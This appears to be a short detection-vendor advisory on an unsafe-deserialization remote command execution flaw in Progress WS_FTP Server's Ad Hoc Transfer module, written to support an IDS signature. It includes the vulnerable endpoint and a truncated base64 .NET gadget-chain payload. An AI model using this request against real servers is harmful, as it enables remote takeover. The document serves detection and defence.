Application Details
A Progress Software WS_FTP Server is used to store, share and transfer information between systems, applications, groups and individuals.
Vulnerability
Progress Software WS_FTP Server could allow a remote attacker to execute arbitrary commands on the system, caused by the unsafe deserialization of data by the Ad Hoc Transfer module.
Identification
By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary commands on the system.
POST /AHT/AhtApiService.asmx/AuthUser
PAYLOAD -
::AHT_DEFAULT_UPLOAD_PARAMETER::AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0
[snipped]Detection
By turning this into a traffic file and matching rule, we are able to detect attempts to execute arbitrary commands on the system.
Coverage
Idappcom have created signature 8024263 along with a traffic file for this vulnerability.
References
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